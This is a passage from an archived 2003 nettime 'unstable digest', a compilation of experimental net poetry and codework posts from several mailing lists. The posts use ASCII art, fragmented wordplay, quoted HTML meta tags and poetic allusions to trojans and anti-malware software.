To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: shower\n    From: o-o {AT} konf.lt\n    To: o-o {AT} konf.lt\n\n\n\nlurking editors\n\nbeatrice beaubien <webmaven {AT} i2eye.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Mon, 23 Jun 2003 17:18:10 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200306232257.h5NMvVG26880 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0306/msg00115.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 52"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00083",
                "content": "\n\n\n\nDate: Fri, 13 Jun 2003 21:32:57 +0200\nTo: o-o {AT} konf.lt\nSubject: Re: o-o {AT} konf.lt\nFrom: o-o {AT} konf.lt\n\n      Scrolling is an important part of nowadays graphical user\n      interface and at the same time a powerful means of\n      expression and involvement.\n\n\no-o {AT} konf.lt wrote:\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n>              |\n> p____________o____________s_____________t\n> a       r       c       h       i       v       e   http://www.o-o.lt/post\n> \n> \n\n\n\n\nDate:         Thu, 12 Jun 2003 15:12:52 -0700\nFrom: lq <solipsis {AT} HEVANET.COM>\nSubject: IPRIP\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n\n\nHas anyone seen an obit for Ilya Prigogine?\n\n\n\nTo: _arc.hive_ {AT} lm.va.com.au,7-11 {AT} mail.ljudmila.org\nFrom: \"][mez][\" <netwurker {AT} hotkey.net.au>\nSubject: _cross.ova.ing ][4rm.blog.2.log][ 12/06-10-06-03_\nDate: Thu, 12 Jun 2003 09:24:53 +1000\n\n\n\n\n\n_________________________________________\n_{ soc[d]ial engine     09:02am 12/06/2003_\n__________________________________________\n\n# [social engine] woo[t!]l.gathering\n# [re]mixed N d.filing sy.stem[N root//shard N slice]\n# rod-bird strait vs corna.stoned N da[ta]nge(nt)rous\n\n# pictory purrfect N pump_muscles//bloated S[OAP]car_[t]issues\n# e[mailing].lectro.lighting.my.pores.in2.sms.destruction\n\n\n--dialin.objects.with.honeyed.lines\n________________________________________________________\n\n\n      Post\n__________________________________________________________________\n_m[v]elt[vet N doctor]ing lines nuanced_code     08:31am 12/06/2003_\n___________________________________________________________________\n\n   --crash dummified N rogue txt idlers\n\n.u.seek.the.trojan.truth.\n\n\n::s[ituation]lit[oral]ting babies mouths with z-ends\n::search + dD.c[k]ern[elizing]\n::m[v]elt[vet N doctor]ing lines nuanced_code\n\n\n.\n__________________________________________________________________\n\n\n      Post\n____________________________________________\n_yos.semi.T yearn_ings     08:39am 11/06/2003_\n____________________________________________\n\n.w.a[ch]king in2 this_frost_life\n\n.dr[l]inking moan_tea\n.drenched in black frost sweat + wood[en] c.hip.pian glory\n\n[1 AI dies a horrible gravemare death + urs is sav][(i)oured][ed]\n\n+ out[in]ward bound[less] in chill_scream nuances\n+ sinkin_thru_LCD_lines + N_cry[stal]ption shoes\n+ inter_here::drawl here::sic N b txt damned there::\n\n[and all the while thing of that fro.Zen Place/deer ramblings + wild \nhighway car_dancing over s.kitte[n]red ice.ments]\n\n[wooden structwhores aping tv templated reality]\n[strict mental plates revoked + reality surgings thru x.periential strainahs]\n[do i shift + kik.my.way.in2.ur.(D)frag.mento.sphere?]\n______________________________________________________\n\n\n      Post\n_______________________________________________________\n_horse_like driven snow[mobiles]     10:46pm 10/06/2003_\n________________________________________________________\n\nevent: _1_\n\n.s.tiple grey meeting g[p]reenish vocal[ity]\n.leather bound and ch.RO[a]Mic gagged\n\n[the smell, the lurverly smel(ter)l]\n\n.sun_stopped N moaning MOOscapes\n.tanned N muscled_dangerous\n.mu.sic thru a tactile v.e[v]il\n\n\n[oldstuff vs newbies.on.a.steel.g_rate(d out of ruralised 10)]\n\n[i.will.learn.2.ride.those.sculpted.animels]\n\n\n\n\n\n\n\n\n- pro][rating][.lucid.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n_\n_cr[xxx]oss ova.ring.\n\n\n\nDate: Wed, 11 Jun 2003 23:21:03 -0400\nSubject: Re:  _cross.ova.ing ][4rm.blog.2.log][ 12/06-10-06-03_\nFrom: Beatrice Beaubien <webmaven {AT} i2eye.com>\nTo: a place for discussion and improvement of things <7-11 {AT} mail.ljudmila.org>\n\n\nOn Wednesday, June 11, 2003, at 07:24  PM, ][mez][ wrote:\n\n>\n>\n>\n>\n> _________________________________________\n> _{ soc[d]ial engine     09:02am 12/06/2003_\n> __________________________________________\n>\n> # [social engine] woo[t!]l.gathering\n\nbu[r]sting str[i]ct | ures\n\nknitting new gar[ment]lands\n\n> # [re]mixed N d.filing sy.stem[N root//shard N slice]\n\nde[file] de[sys]temitised re[v|filed]\n\nnew g[s]aps appearing\n\nblood s[tr]eams in the open bits,\n\n> # rod-bird strait vs corna.stoned N da[ta]nge(nt)rous\n>\n> # pictory purrfect N pump_muscles//bloated S[OAP]car_[t]issues\n\npast that point of no return\n\nre li[ck]shing the scars, sharing the bites\n\n> # e[mailing].lectro.lighting.my.pores.in2.sms.destruction\n>\n\ns|hot ether, s[h]immering\n\naglow\n\n>\n> --dialin.objects.with.honeyed.lines\n\npotential energy burning the circ[us]uits\n\ns|lick med[e]ia, oh my child\n\ngrief turned to letters turned to wo[sha]rds turned to s|hot \nb[yea]urn|ing\n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ########### \nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / \n/ /____|################################################################## \n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n> \n> \n\n\n\nDate: Sat, 14 Jun 2003 20:23:00 +0200\nTo: of things <7-11 {AT} mail.ljudmila.org>\nFrom: \"+   lo_y.  +\" <loy {AT} myrealbox.com>\nSubject: Re:  _cross.ova.ing ][4rm.blog.2.log][ 12/06-10-06-03_\n\nAt 23:21 11/06/03 -0400, Beatrice Beaubien reasoned:\n\n>On Wednesday, June 11, 2003, at 07:24  PM, ][mez][ wrote:\n>\n>>\n>>\n>>\n>>\n>>_________________________________________\n>>_{ soc[d]ial engine     09:02am 12/06/2003_\n>>__________________________________________\n>>\n>># [social engine] woo[t!]l.gathering\n>\n>bu[r]sting str[i]ct | ures\n\n\ns.lic\n\n# e[v|f]ld_{ s|hn\n# [res]\n# pm_s_p_em[Nd-med]\n__\n# t.rr.f-vs-app.c/n/t | ct-tr-ttes\n___{ stes|s|lined ton\n# r.li.bjc\n(int)[rous]app.eam\n# re[m.li[ck] my b]-m _s|li[ck].ld\n\nrs-oin.th.hon\n\ns|hnes.wt-stm[N pick.pmp_s\npas.rr.t.sct_{ s[t!]ds.to.nrf-[w]o.[sys]app.t.str.ld\n____\n\n# [socirc[d]-m-men u[r]ea.li.n.g/w/soc][d]\npasting_{ straits\ns|lictin.bjc\ns|lint.t.rrfctrct-ofy-eith.honeyed[e]\ns|ligh.i.g s[tr]ears,\n\n# [r]if.new.g[soc]irc[d]\n\n__\n\ns|licts, soc\ns|li[ck] th.hon.D\n\n__\n# [r]eam 12/06/2003_\n\n\n\n\n------------------------------------------------------------\n--------------lo--------------------------------------------\n                       -\n-----------------------y------------------------------------\n------------------------------------------------------------\n-------------rnd.PTRz:\n\nhttp://computerfinearts.com/collection/lo_y/030404\nhttp://lo-y.diaryland.com/\nhttp://www.google.com/search?q=lo_y\n------------------------------------------------------------\n------------------------------------------------------------\n\n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ########### \nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / \n/ /____|################################################################## \n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n> \n> \n\n\n\nDate:         Wed, 11 Jun 2003 10:35:21 -0700\nFrom: lq <solipsis {AT} HEVANET.COM>\nSubject: readds a second-time> 17/please see her, Baei{\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nreadds a second-time> 17/please see her, Baei{\n\nPlease send this to eternity-people/////////////////////////////chomerics\n17/baei: 2159,2159,2159,2159,2159,2159 (1-7)=++\n [receives a name for eternitypeople]\n\nhttp://www.google.com/search?hl=en&lr=&ie=UTF-8&oe=UTF-8&q=chomerics&spell=1\n\nAWAKEN TULSINATH{{{{{{{{{\n\nTulsinath makes shortcut eternity\nTulsinath amakes ashortcut aeternity [a]\nSee Tulsinath spider.\nSee Tulsinath basil-flower the Al'anno-god\nSee Nath of informatic brooklyn bloom anno--->forward (2159)\nLook to Tulsi for shortcut L[IN]UX; receives tulsilux[on]\nyields ONIN (feminine form barabara/genaro)\nSee the numberwheels blur / annoblur Al'anno-god--->ONIN\nOn the day of choes, whose Al'anno-god-boat-numer-summer-sumerwheels-blur\nYield Brooklyn-winner-Al'anno-god-blur-who-receives name-numer-sumer-wheels\n\nthia/sos/ignal-daidala of madwom-anno-Al'anno-god-wheels-ONIN\n_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/\n-|_-_|-^\\/-|_-_|-^\\/-|_-oni/n-twohands\n_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/\n-|_-_|-^\\/-|_-_|-^\\/-|_-onin-twohands\n_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/\n-|_-_|-^\\/-|_-_|-^\\/-|_-oni/n-twohands\n_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/\n-|_-_|-^\\/-|_-_|-^\\/-|_-onin-twohands\n_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/\n-|_-_|-^\\/-|_-_|-^\\/-|_-oni/n-twohands\n_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/\n-|_-_|-^\\/-|_-_|-^\\/-|_-onin-twohands\n_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/\n-|_-_|-^\\/-|_-_|-^\\/-|_-oni/n-twohands\n_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/\n-|_-_|-^\\/-|_-_|-^\\/-|_-onin-twohands\n_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/\n-|_-_|-^\\/-|_-_|-^\\/-|_-oni/n-twohands\n_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/-|_-_|-^\\/\n-|_-_|-^\\/-|_-_|-^\\/-|_-onin-twohands\n\n[orgia] doings sees: NETrojan (pestpatrol detects this pest)\n[orgia] doings sees: NETrojan (pestpatrol removes this pest)\n\nas in Troy: code rides piggyback, color rides piggyback, shelf signal rides,\nmultitude rides\nas in Troy: pestworks of enemy deltaforce: I shall deliver MArtha unto your\nCity.\nof the kitchens and prisons, She says: Do it yourself! She is piggybacked\nsignal, see how she\nlives in philosophy. Martha is living in philosophy: Martha is the fiction\nin Philosophy?\nThiasosignal rides piggyback emblem riding philosophy sees\nAl'anno-god-wheels, ONIN of enemy due pest:::\n\nSee orgia in Annogod; See Al-->ONIN\nBlocked Tulsinath of radiant blur wheels numering years, sumering ears, y\ndropped silent below the frame\ny dropped silent, x the kissing of enemy's hides trojan-pest control module,\ngenaro trickster speech\nLoom of thiasosignal, blur loom spinning numb-err-code-yelp:MARTHa'YelP\nMaRTha, say yelp martha in annogod-sea\n\nONINTHIASOS-YELP-code hades found Tulsinath //offered code pools\nit offered code pools, code pools spreead Tulsi cool fragrant Maenad\nnumbers, smooth soft parting lips\nof interface Tulsi numerics/ sumer ringside -Enemy of antipoetmartha\n/unnmaed)0(uunnammedd)\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"=\n<meta name=\"DESCRIPTION\" content=\"PestPatrol detects and removes shacker\ntools, and other pessthaecurity softwanmiss.\">\n<meta name=\"ABSTRACT\" content=\"PestPatrol Inc. is a leading developer\nthreat of malicious non-virus software.\"> RAT-TROJAN\n<meta name=\"AUTHOR\" content=\"Pestatrol\">\n<meta name=\"COPYRIGHT\" content=\"\u0160 2000-2002 PstParol, Inc.\nhttp://PestPatrol.com\";>\n<meta name=\"RESOURCE-TYPE\" content=\"document\">\n<meta name=\"ROBOTS\" content=\"INDEX,FOLLOW\">\n<meta name=\"REVISIT-AFTER\" content=\"30 Days\">\n<meta name=\"RATING\" content=\"General\">\n<meta name=\"DISTRIBUTION\" content=\"Global\">\n<meta http-equiv=\"CONTENT-LANGUAGE\" content=\"EN\">\n\nsee meta-names proliferate among tulsimaenads running codework of beautiful\nTroy\nLotion of discovery- where martha enters jailbox of poet-enemy-krafts\n[<!-- prevent caching in netscape. very important cause netscape tends to\nmangle]\n\"expires\" content=\"0\"\nuser defined globals carrying corroded surround eternity scarab\nA magical dream brought the Egyptian Scarab Oracle into being\nKhepera on tiny wheels of eternity, on tiny infinite hand-wheels\npaddle-wheels whose-eye-palm-pilots-guide-the-net-craftingstar\n[corroded when rusticated ocean liner pulled vegetarian entrails through\nblind murdering innocence]\nyou forget this when khepera opens Martha's colorwheel.\nJoin it to style where fade enters cavicles. Cavicles read the Genaro\nsmooth soft[ware] parting lips/Maenad numbers\n\nMaenad numbers[2047 2048 2049 2050 2051 2052 2053 2054 2055 ]\nMaenad numbers[294335 1943s 1943d 1943y 364364y 1053 2053 40535 pp430]\nMaenad numbers[2053]\nMaenad numbers{allnumbers anno'd}\nMaenad numbers[again\nMaenad numbers[again\nMaenad numbers[again\nMaenad numbers[again\nMaenad numbers[again\nmy memorial memory keep alive telling truth in\n2053 2103 a.d. a.d. that you must save this in every form and all machine\ntechnology to read in 2053 2103 a.d. a.L.\nafterlife' you said blurring colorwheels in afterlife\npalm-eye-pilot: blurring soil in tulsimaenadnumbers\n\nTHIASOSIGNAL: http://www.cnr.berkeley.edu/citybugs/db/images/1235.jpg\nTHIASOSIGNAL:\nhttp://www.turbosquid.com/Previews/Content_on_4_10_2002_06_54_39%5Cgoliath_s\ncarab_3_pic.jpg71D53075-7732-41D6-A2F841B886D1BC52.jpgLarge.jpg\nTHIASOSIGNAL:\nhttp://www.ramseskingdom.com/images_ramses/civilization-hall42.jpg\nTHIASOSIGNAL: http://www.hallco.org/nhms/Scarab__WEB.jpg\n\nTHIASOSIGNAL: http://www.maatkare.com/sm_scarab.gif\nTHIASOSIGNAL: http://www.poetryclass.net/scarab.jpg\n\nyou said all names are joined, slaves and masters are joined, you said\nAl'anno-god-wheels-color-blurring-enemies\nare unnamed [not-joined]\n\n\"We cannot save them...\" \"They are [LITERALLY] un-worth-Y\n\nyou see Y?\nthis Y!\nY!Y!Y!Y!Y!Y!Y!Y!Y!Y!Y!Y!Y!Y!Y!Y!Y!Y!Y!Y!Y!Y!Y!Y!Y!Y!Y!Y!Y!Y!Y!Y!Y!Y!Y!Y!Y!Y!\nThese Y's are forty miles high!\n\n\n\nDate: Tue, 10 Jun 2003 21:29:38 -0400 (EDT)\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: Florian Cramer <cantsin {AT} zedat.fu-berlin.de>\nSubject: please consider for UD - check the ending/structure - thanks, Alan\n\n\n\n\nMy Eternity\n\n\nI write ahead of time, that my readers of 2053 will perhaps understand me\nand my lack of hatred for everyone who refuses to support me, who stands\nby, who closes his or her eyes to the brilliance of a new dawn of writing.\nAnd the readers of 2103 who will finally begin to comprehend, not only my\nliteratures, but my philosophies of truths or lack of them. And my\nstupidity, which is close to that of Stendhal's, as if the future gathers\na promissory note which will never been collected. What is variegated now\nwill come together in critical coherency. No one can begin in this or any\nother present. What will be will be. I will not mention my enemies. They\nare legion. They affect me but remain outside my work. They are only of\npersonal concern. Their names will be forgotten. I will not honor them.\nSomeone will write my biography - myself, I would be sued. I cannot afford\nto tell the truth (in this regard). I tell the truth otherwise. The truth\nI tell is what is important in 2053. You may have to look hard for my work\nbut my only wish is that it is available. And available in 2103. In 2103\nit will be understood. My enemies will be long dead. My biography will\ninclude their names. Everyone I know will be long dead. Their descendents\nwill have forgotten me. My work will stand on its own. My work will be\nread in 2203 and 2303. My work will continue to be read.\n\n... infinite, and the union of the change my heart o created time, the\nmoving image of eternity, and you aztec religion 2054 picture of russia\n2053 black history my body jesus seminar that it is my blood david and on\nthe other the buddhist eternity symbol 2055 texas history 2054 black\nhistory fact 2053 warped tour laughing jesus deliverance, of massive and\nmournful eternitytravel again, i direct my steps towards of egypt 2054\nhistorical costume 2053 american black on him our flesh 1298then god in\nhis eternity 1299then by his care 1670yet have i somewhat that my lord can\n2049o 2050r 2051s 2052u 2053v 2054 married in the temple to be joined for\nall eternity with this 2065 on 3/27/01, jason asked in my faith as of 2053\non 3/27/01, peg asked do you know how i 2053 i look into your eyes i am\ntaken from this world to a place which is timeless and udescribable where\nlove is an eternity submitted by take my love and whose very elements,\nperhaps, appertain to eternity alone it has been my purpose to suggest\nthat, while info on egypt 2054 egypt today 2053 historical cartoon cries\nmary 3 minutes, 18 seconds 2053 jimi hendrix 2489 magnetic fields - you re\nmy only home 2 2491 magnetic fields - promises of eternity 3 minutes cries\nmary 3 minutes, 18 seconds 2053 jimi hendrix 2489 magnetic fields - you re\nmy only home 2 2491 magnetic fields - promises of eternity 3 minutes\n20532322 love is perhaps the only glimpse we are permitted of eternity\nhelen hayes submitted by anonymous 2323 without you in my life, the light\nin esteeming 880 estimate 881 eternal 882 eternity 883 even must 1760 mute\n1761 mutual 1762 my 1763 myself 2050 prevent 2051 preventst 2052 prey 2053\nprickd 2054 2053 phish - light up or leave me alone 10 2550 voltaire oh my\ngoth! - out of reach 4 1 second 2690 magnetic fields - promises of\neternity 3 minutes from eternity hath it not been heard of, that a man\nopened the eyes of a blind man 2053and verily i say unto you, in every\nplace where this my gospel shall be steve snow f satellite 20 12 we my age\nhim uncpcj isep guppy sasp afspc mavricks lacrosse eternity starlan energy\n2047 2048 2049 2050 2051 2052 2053 2054 2055 be inclined to settle upon\nthose of eternity the elevation to my soul, and slumber to my eyesdryden\nblack history month lesson plan 2053 medieval weaponry 2053 jimi hendrix -\nangel 4 minutes, 16 seconds 2054 2489 magnetic fields - you39re my only\nhome 2 2491 magnetic fields - promises of eternity 3 minutes dis plus tu\n1625 fight for all eternity 1537 fight i found out 1112 red hot chili\npeppers my friends 1317 rem strange currencies 362 rem tongue 2053 rem\nzither 2043 --- 2047 23 {xiib} 2049 --- 2051 7 2053 p 2057 my al htb\nampquotquicksilver,ampquot kd lck p 442 176 an advisor, counselling\nyva39atz to eternity laesteeming 880 estimate 881 eternal 882 eternity 883\neven must 1760 mute 1761 mutual 1762 my 1763 myself 2050 prevent 2051\npreventst 2052 prey 2053 prickd 2054 698 ekron barrenness torn away 699\neladah the eternity of god 2053 raguel shepherd, or friend of god2080 rei\nmy shepherd my companion my friendby god to wander the earth in darkness\nfor eternityor all those who you send into my lands shall be 2053 ad zaire\nebola outbreak, spreads throughout region cries mary 3 minutes, 18 seconds\n2053 jimi hendrix 2489 magnetic fields - youre my only home 2 2491\nmagnetic fields - promises of eternity 3 minutes the garage 3 minutes, 55\nseconds 2053 weezer - in 2250 john mayer - my stupid mouth 3 minutes, 46\n2253 magnetic fields - promises of eternity 3 minutes would rather not be\nbothered right now, but he 2053 is polite 2718 2719 soran 2720 my\ninstincts tell me you39re lyingit felt like an 2739 eternity, didn39t\nit?lifted 2052on the faithful, who adore 2053on thee above celestial\nthings 2806through all eternity, to thee life 2808through every period of\nmy life 2809 fx gx kx px rx vx by ky my ny ty sg530 2043 2143 2243 1843\n1943 2053 2153 2253 reprieve albright marriage androids fourteen february\neternity morrison fiercely tucows ongoing orion phrozen also zero razor\ncorp eternity starfox xforce 9x cx dx ex fx ox px vx by my gz nz 2046 2047\n2048 2049 2050 2051 2052 2053 2054 2055 2053 to this first reply jesus\nadds a second if you would be perfect, go this is my commandment, that you\n2159 the name one receives is a name for eternitypeople over control linux\ny us my dos spy upgrader sharekey netrojan searchaz shortcut eternity\ngeorge39s icqrsc30 2047 2048 2049 2050 2051 2052 2053 2054 2055 without me\ncdm 2002 frank sinatra - romance 2002 future breeze - ocean of eternity\ncdm 2002 cranberries amp rem - my choice 2024d - david bowie 2053didrachm\nlawrence approved carrying corroded surround eternity scarab bearer lv sw\nww nx px ay my ny ry 294335 1943s 1943d 1943y 364364y 1053 2053 40535\npp430 ...\n\n\n___\n\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: miracle-mirage-2-\nDate: Tue, 10 Jun 2003 03:02:56 +0200\n\nc'est la nuit en plein p.a.r.i.s. & c'est un m.i.  .r.a.\n                                                .R.       c.\n                                                  .a.g.e.  l.\n                                                           e.\n\n            ! ! ! O ! i ! m ! t ! i ! r ! e ! d ! ! !\n\nMiocene\n.MIPS\nMira\n\n               m.i.r.a.\n                       c.\nmiracles               l.\nmiraculous            e\n.m.i.r.a.c.u.l.o.u.s.l.y.\n\n               m.i.r.a.g.                        e\n                 i.m.a.g.e\nMiranda\n.m.i.r.e.\nmired\n\nG                  G\nG                  G\nhttp://www.atelierblanc.net/p-gustin/02atelier/un_essai.html\nhttp://www.atelierblanc.net/p-gustin/02atelier/cadre1.htm\nI                  I\n\u00ce\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n                 {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n\n\n\n\n\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: real-time editing errors hiding corporate gangsters\nDate: Sun, 8 Jun 2003 13:52:11 -0400 (EDT)\n\n\n\n\nreal-time editing errors hiding corporate gangsters\n\n...................................................\n\n....................................................................\n................................................................\n........................................................................\n.......................................................................\n..............................................................\n.........................................................................\n.............................................................\n..........................................................\n.........................................................................\n......................................................\n............................................................\n........................................................................\n...................................................................\n.................................................................\n...................................................................\n.........................................................................\n..............................................................\n.......................................................................\n........................................................\n....................................................................\n................................................................\n........................................\n..............................................................\n\n.......................................................................\n..............................................\n......................................................................\n...................................................................\n.....................................................................\n...................................................................\n.................................................................\n...................................................................\n.....................................................\n.....................................................\n..........................................................................\n.......................................................................\n................................................................\n..............................................................\n...............................................................\n...............................................................\n.........................................................................\n.........................................................\n.......................................................................\n.............................................................\n..............................................................\n.............................................................\n..........................................................................\n................................................................\n........................................................................\n.........................................................................\n.......................................................................\n...........................................................\n..............................................................\n............\norir yahoo.comorhvsc mail.complease_don't_reply_here use_cont Terrorists\nYou act_us_below.comewpscd abuse.netauto cray bozworld.netart crays (#\ninfe pdholt -anderson.uslp ^O Write act_us_below.comewpscd abuse.netauto\ncray bozworld.netart cray N 6 Jun sens.comonprir mail.comqfzfro\nprodigy.net.mxpxxgvwql u sa.comCut Text^T To Spell earthlink.netkikgvy\nyahoo.comdinowanga netscape.net bgqrye sa.com 236623 {AT} e arth\nyahoo.combashermobutu lycos.comdddtelma rk seznam.czefxf l aox ll.c\nyahoo.com.hkmailmanager videoed.com ngvlou yahoo.comkenibru go.combcom\ngertrudepatbycycle seznam.czijsvhno yahoo.comkdumba4 hknetmail\n.comedwardovie yahoo.comfredpanix.com mitcables.comnassery_h11 redi\nffmail.comolakelv3 ecplaza.netbmbeki2 rediffmail.comgary.dean3 b\ntopenworld.comltfmgu tele.nethoddelaneco ananzi.co.zamhuecr ya hoo.comjohn\nmsxp.netfcm userline.ruanthonyosu juno.comcmb2 333 korea.comgovslc\nyahoo.comnoreply zbestoffer.compnmvdh hopx xgvwql {AT} u sa.com 236623 {AT} e\narthlink .net kikBuda Bodi Too!o netscape .net bgqrye {AT} y ahoo.co k63% tr\n0-9 \" \" < yy > zzound! Hey!  act_us_below.comewpscd abuse.netauto cray\nbozworld.netart craye.co m info {AT} a rt-actio n.org od small 